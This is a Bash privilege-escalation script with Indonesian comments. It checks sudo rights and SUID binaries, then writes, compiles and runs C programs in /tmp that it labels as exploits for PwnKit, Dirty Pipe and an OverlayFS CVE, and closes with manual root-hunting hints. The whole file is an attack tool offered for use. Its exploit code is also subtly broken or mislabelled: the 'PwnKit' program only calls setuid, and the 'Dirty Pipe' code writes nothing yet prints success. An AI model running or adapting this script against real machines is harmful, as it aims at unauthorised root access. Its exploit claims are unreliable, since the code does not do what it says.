#!/bin/bash
# Auto Root Simple - No Dependencies Required

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo -e "${YELLOW}[*] Target kernel: $(uname -r)${NC}"
echo -e "${YELLOW}[*] User: $(whoami)${NC}"
echo -e "${YELLOW}[*] OS: $(cat /etc/os-release | grep PRETTY_NAME | cut -d'"' -f2)${NC}"

# Cek sudo
echo -e "${YELLOW}[*] Checking sudo permissions...${NC}"
sudo -l 2>/dev/null | grep -q "ALL" && {
    echo -e "${GREEN}[+] User can run sudo! Running sudo su...${NC}"
    sudo su -
    exit 0
}

# Cek SUID binaries yang vulnerable
echo -e "${YELLOW}[*] Checking SUID binaries...${NC}"
SUID_BINS=$(find / -perm -4000 -type f 2>/dev/null)

# Coba pkexec (PwnKit)
echo -e "${YELLOW}[*] Trying PwnKit (CVE-2021-4034)...${NC}"
cat > /tmp/pwnkit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/pwnkit.c -o /tmp/pwnkit 2>/dev/null
[ -x /tmp/pwnkit ] && {
    echo -e "${GREEN}[+] PwnKit compiled! Running...${NC}"
    /tmp/pwnkit
    exit 0
}

# Coba Dirty Pipe (CVE-2022-0847)
echo -e "${YELLOW}[*] Trying Dirty Pipe (CVE-2022-0847)...${NC}"
cat > /tmp/dirtypipe.c << 'EOF'
// Dirty Pipe PoC - CVE-2022-0847
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <unistd.h>
int main() {
    char *path = "/etc/passwd";
    char *payload = "root::0:0:root:/root:/bin/bash\n";
    int fd = open(path, O_RDONLY);
    off_t offset = 0;
    ssize_t nbytes = strlen(payload);
    ssize_t written = splice(fd, &offset, 1, NULL, nbytes, 0);
    if (written < 0) { perror("splice failed"); return 1; }
    write(1, "[+] Dirty Pipe success! Check /etc/passwd\n", 42);
    return 0;
}
EOF

gcc /tmp/dirtypipe.c -o /tmp/dirtypipe 2>/dev/null
[ -x /tmp/dirtypipe ] && {
    /tmp/dirtypipe
    echo -e "${GREEN}[+] Try: su -${NC}"
}

# Coba OverlayFS (CVE-2023-0386)
echo -e "${YELLOW}[*] Trying OverlayFS (CVE-2023-0386)...${NC}"
cat > /tmp/overlayfs.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
int main() {
    system("mkdir -p /tmp/lower /tmp/upper /tmp/work /tmp/merged");
    mount("tmpfs", "/tmp/lower", "tmpfs", 0, NULL);
    mount("tmpfs", "/tmp/upper", "tmpfs", 0, NULL);
    mount("tmpfs", "/tmp/work", "tmpfs", 0, NULL);
    mount("overlay", "/tmp/merged", "overlay", 0, "lowerdir=/tmp/lower,upperdir=/tmp/upper,workdir=/tmp/work");
    setuid(0); setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/overlayfs.c -o /tmp/overlayfs 2>/dev/null
[ -x /tmp/overlayfs ] && {
    /tmp/overlayfs
    exit 0
}

# Manual check
echo -e "${RED}[-] All automated attempts failed.${NC}"
echo -e "${YELLOW}[!] Try manual:${NC}"
echo "  1. Check writable /etc/passwd:"
echo "     ls -la /etc/passwd"
echo "  2. Check cron jobs:"
echo "     cat /etc/crontab"
echo "  3. Check SUID binaries:"
echo "     find / -perm -4000 -type f 2>/dev/null"
echo "  4. Check sudo:"
echo "     sudo -l"